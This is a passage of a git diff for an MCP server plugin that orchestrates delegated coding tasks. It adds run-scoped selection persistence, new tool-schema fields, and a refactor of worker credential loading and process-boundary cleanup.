'$.anchor'); + if (anchor === undefined || anchor === null || typeof anchor !== 'object' + || capturedIsArray(anchor)) { + fail('invalid_type', '$.anchor', + '$.anchor must be a trusted openAggregateRunAnchor(...) handle.'); + } + if (typeof anchor.root !== 'string' || typeof anchor.marker_digest !== 'string') { + fail('invalid_type', '$.anchor', + '$.anchor must expose the accepted R24A root marker identity.'); + } + assertBoundDigest(anchor.marker_digest, '$.anchor.marker_digest'); + for (const method of TRUSTED_ANCHOR_METHODS) { + if (typeof anchor[method] !== 'function') { + fail('invalid_type', `$.anchor.${method}`, + `$.anchor.${method} must be the accepted R24A handle method.`); + } + } + return anchor; +} + +function parseFacadeOptions(options, allowed, required) { + if (options === undefined || options === null) { + fail('invalid_type', '$', 'P27 options must be a plain object.'); + } + assertNotProxy(options, '$'); + if (typeof options !== 'object' || capturedIsArray(options)) { + fail('invalid_type', '$', 'P27 options must be a plain object.'); + } + for (const key of Reflect.ownKeys(options)) { + if (typeof key === 'symbol') { + fail('symbol_key_denied', '$[symbol]', + 'P27 options carry a symbol-keyed property; selection data is direct JSON only.'); + } + } + for (const key of sortedCapturedKeys(options)) { + if (!capturedIncludes(allowed, key)) { + fail('unknown_key', `$.${key}`, `$.${key} is not a closed P27 option.`); + } + } + for (const key of required) { + if (!capturedHasOwn(options, key)) { + fail('missing_key', `$.${key}`, `$.${key} is required.`); + } + } + const anchor = assertTrustedAnchor(ownDataValue(options, 'anchor', '$.anchor')); + const json = {}; + for (const key of JSON_INPUT_KEYS) { + if (!capturedIncludes(allowed, key) || !capturedHasOwn(options, key)) continue; + const value = ownDataValue(options, key, `$.${key}`); + assertDirectJsonClosure(value, `$.${key}`); + json[key] = snapshotRecord(value); + } + return { anchor, json }; +} + +function resolverOptions(json) { + const options = { + availability: json.availability, + capabilities: json.capabilities, + manifest: json.manifest, + }; + if (json.profiles !== undefined) options.profiles = json.profiles; + return options; +} + +function deriveOutstandingRequest(json) { + const identity = validateRunIdentityV1(json.identity); + assertRunId(identity.run_id, '$.identity.run_id'); + const plan = resolveRunSelectionV1(resolverOptions(json)); + const manifestDigest = runManifestDigestV1(json.manifest).digest; + if (plan.run_id !== identity.run_id) { + fail('identity_mismatch', '$.manifest.run_id', + 'The manifest run id does not match the supplied run identity.'); + } + if (manifestDigest !== identity.manifest_digest) { + fail('identity_mismatch', '$.identity.manifest_digest', + 'The supplied run identity does not bind this exact manifest digest.'); + } + if (plan.complete === true || plan.selection_request === null + || plan.selection_request === undefined) { + fail('no_selection_required', '$.manifest', + 'This run has no outstanding SelectionRequestV1; P27 does not persist a direct plan.'); + } + validateSelectionRequestV1(plan.selection_request); + const requestIdentity = selectionRequestIdentity(plan.selection_request); + if (requestIdentity.run_id !== identity.run_id) { + fail('identity_mismatch', '$.selection_request.run_id', + 'The derived selection request does not bind the supplied run identity.'); + } + const questionCount = plan.selection_request.question_count; + if (typeof questionCount !== 'number' || questionCount < 1) { + fail('no_selection_required', '$.selection_request.questions', + 'P27 requires one nonempty SelectionRequestV1.'); + } + if (questionCount > MAX_SELECTION_QUESTIONS || questionCount > MAX_ASSIGNMENTS) { + fail('invalid_selection_request', '$.selection_request.questions', + `P27 persists at most ${MAX_SELECTION_QUESTIONS} selection questions.`); + } + return { + identity, + plan, + request: plan.selection_request, + requestIdentity, + }; +} + +function assertSubmittedIdentity(record, identity) { + if (record.run_id !== identity.run_id) { + fail('identity_mismatch', '$.identity.run_id', + 'The durable aggregate run id does not match the supplied run identity.'); + } + if (record.manifest_digest !== identity.manifest_digest) { + fail('identity_mismatch', '$.identity.manifest_digest', + 'The durable aggregate run binds a different manifest digest.'); + } + const submittedIdentity = validateRunIdentityV1(record.identity); + if (submittedIdentity.digest !== identity.digest) { + fail('identity_mismatch', '$.identity', + 'The durable aggregate run identity does not match the supplied identity.'); + } +} + +function sameRequestTriple(left, right) { + return left !== null && left !== undefined && right !== null && right !== undefined + && left.run_id === right.run_id + && left.request_id === right.request_id + && left.digest === right.digest; +} + +function projectCoordination(coordination) { + return snapshotRecord({ + phase: coordination.phase, + revision: coordination.revision, + run_id: coordination.run_id, + anchor_digest: coordination.anchor_digest, + state_digest: coordination.state_digest, + selection_request_binding: coordination.selection_request_binding, + selection_reply_digest: coordination.selection_reply_digest, + resolved_plan_digest: coordination.resolved_plan_digest, + }); +} + +function questionBatchReceipt({ created, request, requestIdentity, coordination }) { + return freezeData({ + schema: SELECTION_QUESTION_BATCH_RECEIPT_SCHEMA_ID, + run_id: requestIdentity.run_id, + request_id: requestIdentity.request_id, + digest: requestIdentity.digest, + availability_digest: request.availability_digest, + capability_snapshot_digest: request.capability_snapshot_digest, + created: created === true, + disposition: coordination.phase, + question_count: request.question_count, + selection_request: snapshotRecord(request), + coordination: projectCoordination(coordination), + }); +} + +function persistableAnswers(request, answers) { + const questions = optOwn(request, 'questions'); + const byId = new Map(); + for (let index = 0; index < questions.length; index += 1) { + const question = ownDataValue(questions, String(index), `$.questions[${index}]`); + byId.set(optOwn(question, 'assignment_id'), question); + } + const stored = []; + for (let index = 0; index < answers.length; index += 1) { + const answer = ownDataValue(answers, String(index), `$.reply.answers[${index}]`); + const assignmentId = optOwn(answer, 'assignment_id'); + const question = byId.get(assignmentId); + const provider = optOwn(question, 'answer_scope') === 'model_only' + ? optOwn(optOwn(question, 'requested'), 'provider') + : optOwn(answer, 'provider'); + stored.push({ + assignment_id: assignmentId, + model: optOwn(answer, 'model'), + provider, + }); + } + return stored; +} + +function replyReceipt({ + created, requestIdentity, request, plan, coordination, binding, +}) { + return freezeData({ + schema: SELECTION_REPLY_RECEIPT_SCHEMA_ID, + run_id: requestIdentity.run_id, + request_id: requestIdentity.request_id, + digest: requestIdentity.digest, + availability_digest: request.availability_digest, + capability_snapshot_digest: request.capability_snapshot_digest, + created: created === true, + disposition: coordination.phase, + plan: snapshotRecord(plan), + aggregate_binding: snapshotRecord(binding), + coordination: projectCoordination(coordination), + }); +} + +export async function persistSelectionQuestionBatch(options = {}) { + const { anchor, json } = parseFacadeOptions( + options, SELECTION_PERSISTENCE_INPUT_KEYS, PERSIST_REQUIRED_KEYS, + ); + const derived = deriveOutstandingRequest(json); + const submitted = await anchor.getByRunId(derived.identity.run_id); + assertSubmittedIdentity(submitted, derived.identity); + const coordination = await anchor.getCoordination(derived.identity.run_id); + if (coordination.phase === 'awaiting_selection') { + if (!sameRequestTriple(coordination.selection_request_binding, derived.requestIdentity)) { + fail('stale_selection_request', '$.manifest', + 'A different selection request is already bound to this run; P27 never generates a second batch.'); + } + } else if (coordination.phase !== 'submitted' || coordination.revision !== 0) { + fail('aggregate_run_revision_conflict', 'coordination', + 'persistSelectionQuestionBatch requires submitted@0 or an identical awaiting_selection replay.'); + } + const committed = await anchor.commitSelectionRequest({ + run_id: derived.identity.run_id, + expected_revision: 0, + request_identity: derived.requestIdentity, + record: derived.request, + }); + const receipt = questionBatchReceipt({ + created: committed.created, + request: derived.request, + requestIdentity: derived.requestIdentity, + coordination: committed.coordination, + }); + if (receipt.disposition !== 'awaiting_selection' || receipt.coordination.revision !== 1) { + fail('aggregate_run_revision_conflict', 'coordination', + 'Persisting a selection question must settle at awaiting_selection@1.'); + } + if (!sameRequestTriple(receipt.coordination.selection_request_binding, derived.requestIdentity)) { + fail('stale_selection_request', 'coordination', + 'The durable selection binding does not match the derived request identity.'); + } + if (canonicalJsonStringify(receipt.selection_request) + !== canonicalJsonStringify(derived.request)) { + fail('stale_selection_request', 'selection_request', + 'The returned question batch is not byte-identical to the derived SelectionRequestV1.'); + } + return receipt; +} + +function parseStructuredReply(reply, requestIdentity) { + const fields = {}; + for (const key of sortedCapturedKeys(reply)) { + if (!capturedIncludes(SELECTION_STRUCTURED_REPLY_KEYS, key)) { + fail('unknown_key', `$.reply.${key}`, `$.reply.${key} is not a structured reply field.`); + } + } + for (const key of SELECTION_STRUCTURED_REPLY_KEYS) { + if (!hasOwn(reply, key)) { + fail('missing_key', `$.reply.${key}`, `$.reply.${key} is required.`); + } + fields[key] = ownDataValue(reply, key, `$.reply.${key}`); + } + assertRunId(fields.run_id, '$.reply.run_id'); + if (fields.run_id !== requestIdentity.run_id + || fields.request_id !== requestIdentity.request_id + || fields.digest !== requestIdentity.digest) { + fail('stale_selection_request', '$.reply', + 'The structured reply does not bind the exact derived run/request/digest identity.'); + } + assertNotProxy(fields.answers, '$.reply.answers'); + assertDirectJsonClosure(fields.answers, '$.reply.answers'); + if (!capturedIsArray(fields.answers)) { + fail('invalid_type', '$.reply.answers', '$.reply.answers must be a dense JSON array.'); + } + return fields; +} + +function requireAwaitingOrReplay(coordination, requestIdentity) { + if (coordination.phase === 'awaiting_selection' && coordination.revision === 1) { + if (!sameRequestTriple(coordination.selection_request_binding, requestIdentity)) { + fail('stale_selection_request', 'coordination', + 'Durable coordination is awaiting a different selection request identity.'); + } + return; + } + if (coordination.phase === 'resolution_ready' && coordination.revision === 2) { + if (!sameRequestTriple(coordination.selection_request_binding, requestIdentity)) { + fail('stale_selection_request', 'coordination', + 'A different selection request already settled this run.'); + } + return; + } + if (coordination.phase === 'submitted' || coordination.selection_request_binding === null) { + fail('selection_not_awaiting', 'coordination', + 'acceptSelectionReply requires a durable awaiting_selection@1 question; it does not create one.'); + } + if (coordination.phase === 'resolution_ready' && coordination.revision === 1) { + fail('no_selection_required', 'coordination', + 'Direct-plan resolution_ready@1 is outside P27 and cannot accept a selection reply.'); + } + fail('aggregate_run_revision_conflict', 'coordination', + 'acceptSelectionReply requires awaiting_selection@1 or an identical resolution_ready@2 replay.'); +} + +export async function acceptSelectionReply(options = {}) { + const { anchor, json } = parseFacadeOptions( + options, SELECTION_REPLY_INPUT_KEYS, REPLY_REQUIRED_KEYS, + ); + const derived = deriveOutstandingRequest(json); + const submitted = await anchor.getByRunId(derived.identity.run_id); + assertSubmittedIdentity(submitted, derived.identity); + const coordination = await anchor.getCoordination(derived.identity.run_id); + requireAwaitingOrReplay(coordination, derived.requestIdentity); + const reply = parseStructuredReply(json.reply, derived.requestIdentity); + const classification = classifySelectionAnswersV1( + derived.request, reply.answers, { + digest: reply.digest, + request_id: reply.request_id, + run_id: reply.run_id, + }, + ); + if (classification.ok !== true) { + const codes = classification.problems.map((problem) => problem.code).join(', '); + fail('selection_answers_rejected', '$.reply.answers', + `The structured reply was not an acceptable complete answer batch (${codes}).`); + } + const answered = resolveSelectionAnswersV1({ + ...resolverOptions(json), + answers: reply.answers, + replyIdentity: { + digest: reply.digest, + request_id: reply.request_id, + run_id: reply.run_id, + }, + request: derived.request, + }); + if (answered.plan.complete !== true || answered.plan.selection_request !== null) { + fail('answered_run_incomplete', '$.reply', + 'Re-resolution did not produce a complete plan; P27 refuses a partial reply.'); + } + if (answered.availability_digest !== derived.plan.availability_digest + || answered.capability_snapshot_digest !== derived.plan.capability_snapshot_digest + || answered.digest !== derived.requestIdentity.digest) { + fail('selection_snapshot_mismatch', '$.reply', + 'Answer re-resolution moved snapshot or request identity; refusing.'); + } + const committed = await anchor.commitSelectionResolution({ + run_id: derived.identity.run_id, + expected_revision: 1, + request_identity: derived.requestIdentity, + reply_record: { + schema: AGGREGATE_SELECTION_REPLY_SCHEMA_ID, + run_id: derived.identity.run_id, + request_id: derived.requestIdentity.request_id, + answers: persistableAnswers(derived.request, reply.answers), + }, + resolved_plan_record: { + schema: AGGREGATE_RESOLVED_PLAN_SCHEMA_ID, + run_id: derived.identity.run_id, + complete: true, + }, + }); + if (committed.coordination.phase !== 'resolution_ready' + || committed.coordination.revision !== 2) { + fail('aggregate_run_revision_conflict', 'coordination', + 'Selection reply settlement must land at resolution_ready@2.'); + } + const binding = await bindAggregateResolution(anchor, derived.identity.run_id); + if (binding.phase !== 'resolution_ready' || binding.revision !== 2) { + fail('run_journal_aggregate_not_ready', 'aggregate_binding', + 'P27 requires the accepted R25B resolution_ready revision 2 binding before returning.'); + } + if (binding.run_id !== derived.identity.run_id + || binding.resolved_plan_digest !== committed.coordination.resolved_plan_digest) { + fail('run_journal_aggregate_mismatch', 'aggregate_binding', + 'The aggregate binding does not match the settled selection resolution.'); + } + return replyReceipt({ + created: committed.created, + requestIdentity: derived.requestIdentity, + request: derived.request, + plan: answered.plan, + coordination: committed.coordination, + binding, + }); +} + +capturedFreeze(persistSelectionQuestionBatch); +capturedFreeze(acceptSelectionReply); diff --git a/plugins/codex-co-engineer/mcp/v3/server.mjs b/plugins/codex-co-engineer/mcp/v3/server.mjs index c9fece6..be4c6d6 100644 --- a/plugins/codex-co-engineer/mcp/v3/server.mjs +++ b/plugins/codex-co-engineer/mcp/v3/server.mjs @@ -21,7 +21,19 @@ import { deadlineProjection } from './deadline.mjs'; import { compactTaskCard, sanitizePublicReceipt } from './diagnostics.mjs'; import { buildToolResult, normalizeResponseMode } from './response.mjs'; import { listTasks, listTasksPage, stateRoot, waitForAnyTaskProgress } from './task-store.mjs'; -import { cancelTask, inspectTask, submitTask, supervisorStatus } from './supervisor.mjs'; +import { + cancelTask, + inspectTask, + invokeRunTool, + projectSupervisorPublicState, + projectSupervisorTaskRecords, + projectSupervisorTerminalReceipt, + submitTask, + supervisorStatus, +} from './supervisor.mjs'; +import { + classifyRunToolCall, +} from './run-tool-adapter.mjs'; const PROTOCOLS = new Set(['2025-11-25', '2025-06-18', '2025-03-26']); let negotiated = '2025-11-25'; @@ -46,6 +58,11 @@ const TOOLS = [ task_limit: { type: 'integer', minimum: 0, maximum: 20, description: 'Maximum tasks to return (0-20). Default 20. Ignored when include_tasks is false.' }, include_tasks: { type: 'boolean', description: 'When false, omit recent tasks for readiness-only checks.' }, response_mode: RESPONSE_MODE_PROPERTY, + run_id: { + type: 'string', + pattern: '^[a-z][a-z0-9-]{2,63}$', + description: 'Optional exact run id. When present, status inspects the bounded run instead of the 3.2.1 task window. Omit to preserve the 3.2.1 supervisor snapshot.', + }, }, additionalProperties: false, }, @@ -90,11 +107,41 @@ const TOOLS = [ provider_repo_url: { type: 'string', minLength: 1, maxLength: 4096, description: 'Optional credential-free provider-visible repository URL override for Cursor Cloud. SSH origins are canonicalized to HTTPS without credentials.' }, provider_repo: { type: 'string', minLength: 1, maxLength: 4096, description: 'Backward-compatible alias for provider_repo_url; Cursor Cloud only.' }, response_mode: RESPONSE_MODE_PROPERTY, + run: { + type: 'object', + additionalProperties: false, + required: ['run_id', 'request_idempotency_key', 'identity', 'git', 'provenance', 'telemetry', 'assignments'], + description: 'Optional bounded-run submission. When present, delegate submits one 1-8 lane run instead of a 3.2.1 single task. Direct mode, replay, fallback, and merge/push/create-PR are rejected. Omit to preserve exact 3.2.1 delegate behavior.', + properties: { + run_id: { type: 'string', pattern: '^[a-z][a-z0-9-]{2,63}$' }, + request_idempotency_key: { type: 'string', pattern: '^sha256:[0-9a-f]{64}$' }, + identity: { type: 'object' }, + git: { type: 'object' }, + provenance: { type: 'object' }, + telemetry: { type: 'object' }, + objective: { type: 'string', minLength: 1, maxLength: 4096 }, + profile: { type: 'string', pattern: '^[a-z0-9][a-z0-9._-]{0,63}$' }, + assignments: { + type: 'array', + minItems: 1, + maxItems: 8, + items: { type: 'object' }, + }, + }, + }, }, - required: ['task_id', 'provider', 'repo', 'prompt'], - anyOf: [ - { required: ['expected_duration_ms'] }, - { required: ['timeout_ms'] }, + allOf: [ + { + if: { required: ['run'] }, + then: { required: ['run'] }, + else: { + required: ['task_id', 'provider', 'repo', 'prompt'], + anyOf: [ + { required: ['expected_duration_ms'] }, + { required: ['timeout_ms'] }, + ], + }, + }, ], additionalProperties: false, }, @@ -114,8 +161,8 @@ const TOOLS = [ }, wait_until: { type: 'string', - enum: ['progress', 'terminal'], - description: 'progress wakes on meaningful live events (default). terminal waits for success, failure, timeout, cancellation, transport loss, environment block, needs_attention, silence, or the recorded deadline, and does not wake on routine text deltas.', + enum: ['progress', 'terminal', 'decision_or_attention'], + description: 'progress wakes on meaningful live events (default). terminal waits for success, failure, timeout, cancellation, transport loss, environment block, needs_attention, silence, or the recorded deadline, and does not wake on routine text deltas. decision_or_attention is the additive run wait and never wakes on routine progress.', }, wake_on_needs_attention: { type: 'boolean', @@ -162,8 +209,45 @@ const TOOLS = [ }, }, response_mode: RESPONSE_MODE_PROPERTY, + run_id: { + type: 'string', + pattern: '^[a-z][a-z0-9-]{2,63}$', + description: 'Optional exact run id. When present, task inspects, waits, latches attention, or replies on the bounded run. Omit with task_id to preserve exact 3.2.1 task behavior.', + }, + assignment_id: { + type: 'string', + pattern: '^[a-z][a-z0-9-]{0,63}$', + description: 'Optional exact assignment id for a run-scoped task inspect.', + }, + attention: { + type: 'object', + additionalProperties: false, + required: ['items'], + description: 'Latch one run-level AttentionBatchV1. Exactly one reply round. Routine progress never wakes.', + properties: { + expected_revision: { type: 'integer', minimum: 0 }, + items: { type: 'array', minItems: 1, maxItems: 8, items: { type: 'object' } }, + }, + }, + run_reply: { + type: 'object', + additionalProperties: false, + required: ['batch_id', 'reply'], + description: 'Exactly-once run attention reply. Do not mix with 3.2.1 task.reply.', + properties: { + batch_id: { type: 'string', minLength: 1, maxLength: 128 }, + expected_revision: { type: 'integer', minimum: 0 }, + reply: { type: 'object' }, + }, + }, }, - required: ['task_id'], + allOf: [ + { + if: { required: ['run_id'] }, + then: { required: ['run_id'] }, + else: { required: ['task_id'] }, + }, + ], additionalProperties: false, }, }, @@ -203,23 +287,33 @@ const TOOLS = [ }, wait_until: { type: 'string', - enum: ['progress', 'terminal'], - description: 'progress wakes on meaningful progress; terminal wakes on terminal, needs_attention, silence, or deadline.', + enum: ['progress', 'terminal', 'decision_or_attention'], + description: 'progress wakes on meaningful progress; terminal wakes on terminal, needs_attention, silence, or deadline. decision_or_attention waits for the run-level attention batch without waking on routine text.', }, wake_on_needs_attention: { type: 'boolean', default: true, description: 'Wake when any target needs a same-session reply or loses transport. Default true.', }, + run_id: { + type: 'string', + pattern: '^[a-z][a-z0-9-]{2,63}$', + description: 'Optional exact run id. When present, tasks waits on the run\'s 1-8 lanes through decision_or_attention. Omit to preserve 3.2.1 list or wait-any behavior.', + }, }, allOf: [ { if: { - anyOf: [ - { required: ['cursors'] }, - { required: ['wait_ms'] }, - { required: ['wait_until'] }, - { required: ['wake_on_needs_attention'] }, + allOf: [ + { + anyOf: [ + { required: ['cursors'] }, + { required: ['wait_ms'] }, + { required: ['wait_until'] }, + { required: ['wake_on_needs_attention'] }, + ], + }, + { not: { required: ['run_id'] } }, ], }, then: { required: ['task_ids'] }, @@ -261,8 +355,31 @@ const TOOLS = [ properties: { task_id: { type: 'string', pattern: '^[A-Za-z0-9][A-Za-z0-9._-]{0,79}$' }, response_mode: RESPONSE_MODE_PROPERTY, + run_id: { + type: 'string', + pattern: '^[a-z][a-z0-9-]{2,63}$', + description: 'Optional exact run id. When present, cancel stops named run lanes. Omit with task_id to preserve exact 3.2.1 cancel behavior.', + }, + assignment_ids: { + type: 'array', + minItems: 1, + maxItems: 8, + uniqueItems: true, + items: { type: 'string', pattern: '^[a-z][a-z0-9-]{0,63}$' }, + description: 'Exact assignment ids to cancel in the named run. Required for run cancel when run_id is present.', + }, + cleanup: { + type: 'boolean', + description: 'Proof-bound run artifact cleanup. Requires P33 lifecycle finality. Worktrees, branches, locks, and candidate refs are never deleted here.', + }, }, - required: ['task_id'], + allOf: [ + { + if: { required: ['run_id'] }, + then: { required: ['run_id'] }, + else: { required: ['task_id'] }, + }, + ], additionalProperties: false, }, }, @@ -284,6 +401,24 @@ function publicTask(task) { }); } +function projectWaitAnyEntry(entry) { + const projectedTask = entry.task ? projectSupervisorTerminalReceipt(entry.task) : null; + return { + task_id: entry.task_id, + // Wait-any can return up to eight receipts at once. Keep the fresh + // event stream in the separate progress envelope, while each task + // is a bounded coordination projection instead of a full receipt. + task: projectedTask ? projectCompactTask({ + task: projectedTask, + progress: entry.progress, + maxBytes: WAIT_ANY_TASK_STRUCTURED_BYTES_MAX, + }) : null, + progress: projectWaitAnyProgress(entry.progress), + state: entry.task ? projectSupervisorPublicState(entry.task) : null, + error: entry.error, + }; +} + function takePresentationArgs(args = {}) { const { response_mode: responseModeRaw, ...businessArgs } = args; return { @@ -304,6 +439,15 @@ function errorResult(error, { responseMode } = {}) { async function callTool(name, args = {}, { signal, responseMode } = {}) { const root = stateRoot(); + const classified = classifyRunToolCall(name, args); + if (classified.mode === 'run') { + const value = await invokeRunTool(root, name, args, { signal }); + if (value?.mode === 'legacy') { + // Fall through only when classification and dispatch disagree; omission stays 3.2.1. + } else { + return result(value, { responseMode }); + } + } if (name === 'status') { const hasCompact = args && (args.detail !== undefined || args.task_limit !== undefined || args.include_tasks !== undefined); if (!hasCompact) { @@ -354,20 +498,7 @@ async function callTool(name, args = {}, { signal, responseMode } = {}) { signal, }); const waitAny = { - tasks: value.tasks.map((entry) => ({ - task_id: entry.task_id, - // Wait-any can return up to eight receipts at once. Keep the fresh - // event stream in the separate progress envelope, while each task - // is a bounded coordination projection instead of a full receipt. - task: entry.task ? projectCompactTask({ - task: entry.task, - progress: entry.progress, - maxBytes: WAIT_ANY_TASK_STRUCTURED_BYTES_MAX, - }) : null, - progress: projectWaitAnyProgress(entry.progress), - state: entry.task ? publicState(entry.task.status) : null, - error: entry.error, - })), + tasks: value.tasks.map(projectWaitAnyEntry), wait_reason: value.wait_reason, wait_until: value.wait_until, waited_ms: value.waited_ms, @@ -376,16 +507,17 @@ async function callTool(name, args = {}, { signal, responseMode } = {}) { return result(enforceWaitAnyResponseBudget(waitAny), { responseMode }); } if (!hasListArgs) { - return result({ tasks: (await listTasks(root)).map(publicTask) }, { responseMode }); + return result({ tasks: projectSupervisorTaskRecords(await listTasks(root)).map(publicTask) }, { responseMode }); } const page = await listTasksPage(root, args); - // Filter and page before projecting full public receipts; only project sliced results. - // Provide pagination metadata total/limit as required by contract; preserve detail echo. + // Filter and page before projecting public receipts; classify the sliced + // window only. Stored task.v1 bytes stay unmodified. + const windowTasks = projectSupervisorTaskRecords(page.tasks); if (page.detail === 'compact') { - const compactTasks = page.tasks.map((t) => compactTaskCard(t)); + const compactTasks = windowTasks.map((t) => compactTaskCard(t)); return result({ tasks: compactTasks, next_cursor: page.next_cursor, has_more: page.has_more, detail: page.detail, total: page.total, limit: page.limit }, { responseMode }); } - return result({ tasks: page.tasks.map(publicTask), next_cursor: page.next_cursor, has_more: page.has_more, detail: page.detail, total: page.total, limit: page.limit }, { responseMode }); + return result({ tasks: windowTasks.map(publicTask), next_cursor: page.next_cursor, has_more: page.has_more, detail: page.detail, total: page.total, limit: page.limit }, { responseMode }); } if (name === 'cancel') return result({ task: publicTask(await cancelTask(root, args.task_id)) }, { responseMode }); throw Object.assign(new Error(`Unknown tool: ${name}`), { code: 'unknown_tool' }); diff --git a/plugins/codex-co-engineer/mcp/v3/supervisor.mjs b/plugins/codex-co-engineer/mcp/v3/supervisor.mjs index a97f32c..66069cc 100644 --- a/plugins/codex-co-engineer/mcp/v3/supervisor.mjs +++ b/plugins/codex-co-engineer/mcp/v3/supervisor.mjs @@ -1,13 +1,20 @@ import { spawn as nodeSpawn, execFile as nodeExecFile } from 'node:child_process'; import { readFileSync } from 'node:fs'; -import { open, readFile, realpath, stat } from 'node:fs/promises'; +import { open, realpath, stat } from 'node:fs/promises'; import { homedir } from 'node:os'; import path from 'node:path'; import { fileURLToPath } from 'node:url'; import { promisify } from 'node:util'; +import { + CredentialBoundaryError, + materializeProviderEnvironment, + projectProviderEnvironment, +} from './credential-boundary.mjs'; + import { ACTIVE_STATUSES, + STORED_TERMINAL, VERSION, mcpPendingCallReport, providerCapabilities, @@ -46,12 +53,21 @@ import { reconcileCursorCloudTask, } from './cursor-cloud-worker.mjs'; import { - inspectProcessBoundary, + inspectExactProcessBoundary, launchProcessBoundary, probeProcessBoundary, - restoreProcessBoundary, + PROCESS_BOUNDARY_LIFECYCLE_BOUNDS_MS, + stopExactProcessBoundary, stopProcessBoundary, } from './process-boundary.mjs'; +import { + classifyRunToolCall, + createDurableRunSeams, + createInProcessRunSeams, + createRunToolAdapter, + deliverSupervisorSameSessionReplyV1, + cancelSupervisorSameSessionReplyV1, +} from './run-tool-adapter.mjs'; const execFile = promisify(nodeExecFile); const WORKER = path.join(path.dirname(fileURLToPath(import.meta.url)), 'acp-worker.mjs'); @@ -95,6 +111,26 @@ const PUBLIC_STARTUP_MESSAGES = Object.freeze({ workspace_dirty: 'The source worktree has uncommitted changes; clean it before managed delegation.', worktree_create_failed: 'The managed worktree could not be prepared.', worker_boundary_uncertain: 'The worker boundary could not be stopped; reconcile or cancel this task.', + worker_boundary_pending: 'The worker process boundary is not yet final.', + worker_boundary_missing: 'The worker process boundary receipt is missing.', + worker_boundary_inspect_failed: 'The worker process boundary could not be inspected.', + worker_boundary_identity_mismatch: 'The worker process boundary identity did not match this task.', + worker_boundary_pid_visibility_unknown: 'The worker process boundary process visibility is unknown.', + worker_boundary_membership_unknown: 'The worker process boundary membership is unknown.', + worker_boundary_stop_failed: 'The worker process boundary could not be stopped.', + worker_boundary_not_empty: 'The worker process boundary still has descendants.', + worktree_lock_inspect_failed: 'The worktree lock could not be inspected.', + worktree_lock_identity_mismatch: 'The worktree lock identity did not match this task.', + worktree_lock_liveness_unknown: 'The worktree lock liveness could not be proven.', + worktree_lock_cleanup_failed: 'The worktree lock could not be cleaned.', + worktree_git_changed_during_recovery: 'The worktree Git identity changed during recovery.', + boundary_visibility_unknown: 'The worker process boundary could not be proven idle or empty.', + boundary_identity_mismatch: 'The worker process boundary identity did not match this task.', + boundary_not_empty: 'The worker process boundary still has descendants.', + lock_release_unproven: 'The worktree lock release could not be proven.', + lock_cleanup_refused: 'The worktree lock cleanup was refused.', + cleanup_failed: 'Task lifecycle cleanup failed.', + cgroup_not_empty: 'Owned systemd process boundary still has descendants after exact unit stop.', cancelled: 'The task was cancelled before worker startup.', provider_startup_failed: 'Provider startup could not be prepared.', task_launch_busy: 'Another worker already owns this task launch.', @@ -140,7 +176,10 @@ function fail(code, message) { } function publicStartupError(error, fallbackCode = 'worker_start_failed') { - const rawCode = typeof error?.code === 'string' ? error.code : fallbackCode; + const mapped = error instanceof CredentialBoundaryError + ? (PUBLIC_STARTUP_MESSAGES[error.code] ? error.code : (error.code === 'credential_too_large' || error.code === 'credential_empty' || error.code === 'credential_file_changed' || error.code === 'credential_hardlink_denied' || error.code === 'credential_owner_denied' || error.code === 'credential_symlink_denied' || error.code === 'credential_unreadable' || error.code === 'invalid_credential_path' || error.code === 'invalid_handoff' ? 'invalid_credential_file' : error.code)) + : (typeof error?.code === 'string' ? error.code : fallbackCode); + const rawCode = typeof mapped === 'string' ? mapped : fallbackCode; const code = /^[A-Za-z0-9._-]{1,96}$/u.test(rawCode) ? rawCode : fallbackCode; const message = PUBLIC_STARTUP_MESSAGES[code] ?? PUBLIC_STARTUP_MESSAGES[fallbackCode] ?? 'The worker failed to start.'; // Startup failures cross the MCP boundary. Keep the public error bounded and @@ -181,21 +220,20 @@ function providerArgv(provider, env = process.env, dshModel) { } async function workerEnvironment(provider, source = process.env, dshModel) { - const env = { ...source }; - if (provider !== 'dsh') return env; - const selection = DSH_MODELS[resolveDshModel(dshModel)]; - if (env[selection.credentialEnv]) return env; - const file = env[selection.credentialFileEnv] ?? path.join( - env.XDG_CONFIG_HOME ? path.resolve(env.XDG_CONFIG_HOME) : path.join(env.HOME ? path.resolve(env.HOME) : homedir(), '.config'), - 'codex-co-engineer', - selection.credentialFile, - ); - const metadata = await stat(file); - if ((metadata.mode & 0o077) !== 0) fail('credential_permissions', 'DSH credential file must be owner-only.'); - const key = (await readFile(file, 'utf8')).trim(); - if (!key || key.includes('\0') || Buffer.byteLength(key) > 16 * 1024) fail('invalid_credential_file', 'DSH credential file is invalid.'); - env[selection.credentialEnv] = key; - return env; + try { + return await materializeProviderEnvironment({ + provider, + source, + dshModel: provider === 'dsh' ? resolveDshModel(dshModel) : undefined, + operation: 'lane', + }); + } catch (error) { + if (error instanceof CredentialBoundaryError) { + const code = PUBLIC_STARTUP_MESSAGES[error.code] ? error.code : 'invalid_credential_file'; + fail(code === 'credential_permissions' ? 'credential_permissions' : 'invalid_credential_file', error.message); + } + throw error; + } } async function localBoundaryReadiness(probe = probeProcessBoundary) { @@ -463,27 +501,54 @@ export async function cleanupManagedWorkspace({ workspace, taskId, execute = exe ], { encoding: 'utf8', maxBuffer: 1024 * 1024 }); return { state: 'cleaned', cleaned: true, lock_id: lock.lock_id }; } catch (error) { + const exitCode = Number.isInteger(error?.status) ? error.status : (Number.isInteger(error?.code) ? error.code : undefined); return { state: 'cleanup_failed', cleaned: false, - error: { code: error?.code ?? 'worktree_cleanup_failed', message: error?.message ?? 'Worktree lock cleanup failed.' }, + exit_code: exitCode, + error: { + code: typeof error?.code === 'string' ? error.code : 'worktree_cleanup_failed', + message: 'Worktree lock cleanup failed.', + }, }; } } -async function recordManagedCleanup(root, task, execute) { +function cleanupEventFields(result) { + const exitCode = Number.isInteger(result?.exit_code) ? result.exit_code : undefined; + let code; + if (result?.error?.code) code = result.error.code; + else if (result?.cleaned) code = null; + else if (result?.state === 'unlocked') code = null; + else code = 'lock_cleanup_refused'; + return { + type: result?.error ? 'cleanup_warning' : 'cleanup', + code, + cleaned: result?.cleaned === true, + ...(exitCode !== undefined ? { exit_code_class: `exit_${exitCode}` } : {}), + }; +} + +async function recordManagedCleanup(root, task, execute, options = {}) { if (task?.workspace_kind !== 'managed-worktree') return null; + if (options.requireInactiveEmpty && options.boundaryState !== 'inactive_empty') { + const result = { + state: options.boundaryState ?? 'unknown', + cleaned: false, + error: { + code: 'worktree_lock_liveness_unknown', + message: 'Worktree lock cleanup requires exact inactive empty boundary proof.', + }, + }; + await appendTaskEvent(root, task.id, cleanupEventFields(result)).catch(() => {}); + return result; + } const result = await 